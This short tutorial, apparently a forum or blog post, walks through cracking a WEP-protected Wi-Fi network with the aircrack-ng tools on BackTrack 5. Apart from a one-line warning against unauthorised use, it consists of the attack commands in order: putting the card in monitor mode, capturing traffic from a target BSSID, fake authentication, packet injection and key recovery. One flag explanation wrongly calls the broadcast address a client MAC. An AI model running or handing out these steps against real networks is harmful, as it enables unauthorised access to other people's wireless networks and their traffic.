HOWTO WEP cracking with Back Track 5

Dont crack any wifi router without authorization; otherwise, you will be put into the jail.



Step 1 :



airmon-ng



The result will be something like :



Interface    Chipset      Driver

wlan0        Intel 5100   iwlagn - [phy0]



Step 2 :



airmon-ng start wlan0



Step 3 :



airodump-ng mon0



Press "Ctrl+c" to break the program.



Step 4 :



airodump-ng -c 6 -w wepcrack --bssid 99:88:77:66:55:44 mon0



*where -c is the channel

            -w is the file to be written

            --bssid is the BSSID



Step 5 :



open another terminal.



aireplay-ng -1 0 -a 99:88:77:66:55:44 mon0



*where -a is BSSID



The terminal is keeping running.



Step 6 :



aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b 99:88:77:66:55:44 mon0



*where -c is clients MAC address (STATION)

            -b is BSSID



When asking "Use this packet?", answer "y".



Step 7 :



open another terminal.



aircrack-ng wepcrack*.cap



Thats all! See you.

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